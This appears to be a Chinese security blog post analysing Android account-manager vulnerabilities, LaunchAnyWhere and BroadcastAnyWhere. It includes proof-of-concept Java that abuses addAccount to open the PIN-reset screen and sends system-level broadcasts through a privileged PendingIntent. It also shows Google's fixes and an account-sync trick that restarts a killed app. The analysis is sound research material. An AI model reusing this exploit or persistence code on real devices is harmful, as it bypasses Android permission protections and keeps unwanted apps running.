Android 2.0中加入了一个新的包android.accounts,该包主要包括了集中式的账户管理API,用以安全地存储和访问认证的令牌和密码,比如,我们的手机存在多个账户,每个账户下面都有不同的信息,甚至每个账户都可以与不同的服务器之间进行数据同步(例如,手机账户中的联系人可以是一个Gmail账户中的通讯录,可联网进行同步更新)。通俗地讲,就是Android系统会开一个异步进程去帮我们登录(验证)账号,就不需要我们每次点开APP的时候还要走一遍登录(验证)账号的流程。我们根据这个机制,找到了三个可以利用的漏洞。
AccountManagerService是系统服务之一,暴露给开发者的的接口是AccountManager。普通应用(记为AppA)去请求添加某类账户时,会调用AccountManager.addAccount,然后AccountManager会去查找提供账号的应用(记为AppB)的Authenticator类,调用Authenticator. addAccount方法;AppA再根据AppB返回的Intent去调起AppB的账户登录界面。这个过程如图所示:
主要可以利用的代码:
/** Handles the responses from the AccountManager */
Private class Response extends IAccountManagerResponse.Stub {
Public void onResult (Bundle bundle) {
Intent intent = bundle.getParcelable(KEY_INTENT);
If (intent != null && mActivity != null) {
// since the user provided an Activity we will silently start intents
// that we see
mActivity.startActivity(intent);
// leave the Future running to wait for the real response to this request
} else if (bundle.getBoolean ("retry")) {
...
@Override
public Bundle addAccount(AccountAuthenticatorResponse response,
String accountType, String authTokenType,
String[] requiredFeatures, Bundle options)
throws NetworkErrorException {
Intent intent = new Intent();
intent.setComponent(new ComponentName(
"com.android.settings",
"com.android.settings.ChooseLockPassword"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("confirm_credentials",false);
final Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, intent);
return bundle;
}
在继承了AbstractAccountAuthenticator的类中,我们重写了addAccount方法,配置一个可以打开修改pin码的系统级别的intent,然后再return 带有这个intent的bundle,系统得到这个bundle之后就会去启动这个intent,进而打开重置pin码的页面。
MainAcitivity类:
Intent intent1 = new Intent();
intent1.setComponent(new ComponentName(
"com.android.settings",
"com.android.settings.accounts.AddAccountSettings"));
intent1.setAction(Intent.ACTION_RUN);
intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {
TYPE };
intent1.putExtra("account_types", authTypes);
intent1.putExtra("authTypes", authTypes);
this.startActivity(intent1);
这里我们只是在主类中启动了账户页面,并且进入创建账户的页面,从而触发AbstractAccountAuthenticator类中我们重写的addAccount方法,进入重置pin码的界面。
安卓4.4已经修复了这个漏洞,检查了Step3中返回的intent所指向的Activity和AppB是否是有相同签名的。避免了launch Anywhere的可能。修复代码如下:
If (PackageManager.SIGNATURE_MATCH !=
pm.checkSignatures(authenticatorUid, targetUid)) {
throw new SecurityException(
"Activity to be started with KEY_INTENT must " +
"share Authenticator's signatures");
}
继上面Android的LaunchAnyWhere组件安全漏洞后,最近Google在Android 5.0的源码上又修复了一个高危漏洞,该漏洞简直是LaunchAnyWhere的姊妹版——BroadcastAnyWhere。通过这个漏洞,攻击者可以以system用户的身份发送广播,这意味着攻击者可以无视一切的BroadcastReceiver组件访问限制。而且该漏洞影响范围极广,Android 2.0+至4.4.x都受影响。
BroadcastAnyWhere跟LaunchAnyWhere的利用原理非常类似,两者都利用了Setting的uid是system进程高权限操作。漏洞同样发生在Setting的添加账户的addAccount方法上。根据之前的addAccount方法中我们看到有个参数是Bundle类型的,参数名为options,该参数内部附带有添加用户用的额外信息,我们用代码展示一下内部的信息:
可以看到,该额外参数告诉我们,执行添加账户的用户id是1000,也就是系统用户,有root权限,还有个参数是pendingIntent,该参数是主要是作为身份识别用的,也是具有系统权限的,我们攻击的切入点就是pendingIntent。
pendingIntent介绍:
PendingIntent对象可以按预先指定的动作进行触发,当这个对象传递(通过binder)到其他进程(不同uid的用户),其他进程利用这个PendingIntent对象,可以原进程的身份权限执行指定的触发动作,这有点类似于Linux上suid或guid的效果。另外,由于触发的动作是由系统进程执行的,因此哪怕原进程已经不存在了,PendingIntent对象上的触发动作依然有效。
攻击思路:
PendingIntent提供了一个方法为send (Context context, int code, Intent intent, PendingIntent.OnFinished onFinished, Handler handler, String requiredPermission, Bundle options),里面可以传一个参数为Intent intent,而在5.0的版本之前,我们可以对intent进行任意构造,然后通过pendingIntent发送出去。攻击思路如图:
复现代码:
继承了AbstractAccountAuthenticator的类:
PendingIntent pending_intent = (PendingIntent) options.get("pendingIntent");
Intent intent = new Intent();
intent.setAction("android.intent.action.BOOT_COMPLETED");
try {
pending_intent.send(context, 0, intent, null, null, null);
} catch (PendingIntent.CanceledException e) {
Log.e("addAccount Exception", e.toString());
}
return options;
这里我们在addAccount方法里获取pendingIntent,然后声明一个启动成功Action的Intent,最后让pendingIntent发送带有启动成功Action的广播。由于pendingIntent是系统级别的,所以发出的广播也是系统级别的,于是android系统就会收到该广播,然后执行系统启动成功之后的逻辑。
Android 5.0的源码中修复了该漏洞,方法是把放入mPendingIntent的intent,由原来简单的new Intent()改为事先经过一系列填充的identityIntent。这样做,就可以防止第三方的Authenticator(主要是针对木马)进行二次填充。修复代码如下:
Intent identityIntent = new Intent();
identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
identityIntent.setAction(SHOULD_NOT_RESOLVE);
identityIntent.addCategory(SHOULD_NOT_RESOLVE);
mPendingIntent = PendingIntent.getBroadcast(this, 0, identityIntent, 0);
之前在做项目的时候,为了保证APP可以在手机长期存活,我找到了利用Android账户同步机制来拉活APP的进程。在华为6.0、4.4的版本测试可以拉活,在oppo5.0版本测试可以拉活,但是在小米6.0下,杀死进程后就无法通过账户机制拉活,我猜测是小米对账户机制进行了修改。
MainActivity类:
Bundle bundle = new Bundle();
ContentResolver.setIsSyncable(account, AccountProvider.AUTHORITY, 1);
ContentResolver.setSyncAutomatically(account, AccountProvider.AUTHORITY, true);
ContentResolver.setMasterSyncAutomatically(true);
ContentResolver.addPeriodicSync(account, AccountProvider.AUTHORITY, bundle, 300);//开启同步
SyncService类:
@Override
public void onPerformSync(Account account, Bundle bundle, String s, ContentProviderClient contentProviderClient, SyncResult syncResult) {
Intent i = new Intent(SyncService.this, TestActivity.class);//开启活动
startActivity(i);
}
我们在mainActivity利用ContentResolver去开启账户同步,设置同步周期,然后系统执行同步操作时,会执行onPerformSync()方法,我在该方法中去开启APP中的TestActivity活动。
Android账户机制本身意义是google为了方便用户,不需要总是APP登录和验证账户信息,由系统来维护这些账户的验证。换个思路,这就是为攻击者提供了可以利用的提取系统权限的攻击点。我们在之后的研究可以多找找有系统提供的服务或者间接调用了系统服务的功能,这样可以让系统为我们“服务”。
目前大多数手机厂商针对于账户机制这些相对冷门的功能没有太大的关注,所以在各自品牌手机的rom包中,对于这些机制也未再进行认真的检验处理,这样也就导致很多原生系统存在的漏洞,在各大手机厂商上面同样可以进行攻击,所以需要系统开发人员认真的关注这些功能。
参考文档:
LAUNCHANYWHERE: ACTIVITY组件权限绕过漏洞解析(GOOGLE BUG 7699048 ):
http://blogs.360.cn/360mobile/2014/08/19/launchanywhere-google-bug-7699048/
Android BroadcastAnyWhere(Google Bug 17356824)漏洞详细分析:
https://blog.csdn.net/l173864930/article/details/41246255/
android添加账户源码浅析:
http://www.cnblogs.com/vendanner/p/5122865.html
broadAnywhere:Broadcast组件权限绕过漏洞(Bug: 17356824)
http://blogs.360.cn/360mobile/2014/11/14/broadanywhere-bug-17356824/
Android的账号与同步机制
https://blog.csdn.net/hehui1860/article/details/36900775